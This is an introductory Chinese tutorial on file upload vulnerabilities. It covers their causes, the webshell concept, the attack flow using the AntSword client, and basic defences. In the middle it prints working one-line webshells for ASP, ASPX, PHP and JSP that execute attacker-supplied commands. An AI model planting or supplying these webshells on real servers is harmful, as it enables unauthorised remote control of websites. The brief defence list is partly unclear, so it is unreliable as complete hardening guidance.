文件上传漏洞(入门)
[TOC]
什么是文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。上传的文件可以是木马,病毒,恶意脚本或者WebShell等等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么进行处理、解释文件。
文件上传漏洞是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用扩大。大多数的上传漏洞被利用后攻击这都会留下WebShell来方便下次进入系统。攻击者通过WebShell可以更轻松地在服务中执行操作。
文件上传漏洞造成原因
原因:
1.对上传的文件的后缀名没有进行严格过滤
2.都上传文件的MIMETYPE没有进行检查
3.权限上没有进行降权
4.webserver对于上传文件的行为没有进行限制
一句话木马
一句话木马要满足的三个条件:
1.木马能够上传成功,并且不会被杀死
2.知道木马上传后的路径(为了使用蚁剑能够连接)
3.上传的木马能够正常运行
ASP: <%eval request("cmd")%>
ASPX: <%@ Page Language="jscript" %><%eval Request.Item["cmd"],"unsafe");%>
PHP: <?php @eval($_POST['cmd']);?>
JSP: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
WebShell
WebShel就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称作为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,从而达到控制网站服务器的目的。
文件上传漏洞利用
攻击流程:1.上传WebShell、2.执行WebShell
通过上传包含一句话木马的文件,绕过防御后,通过蚁剑进行连接后台
文件上传防御
1.文件上传后缀:上传限制后缀.png、.php 、.php1、php2
2.前端对js进行校验:判断是否是可以上传的文件类型
3、检查文件类型MIME Type
举例php:
if($_FILES['upload_file']['type'] == 'image/jpeg')
这种方式虽然虽然可以限制一些,但还是十分容易被绕过的
4.使用随机数修改文件名:这种方式用于防护在文件上传后,攻击方找不到上传的文件
5.禁止上传的文件被执行:可以对上传的文件进行降权,修改.htaccess配置文件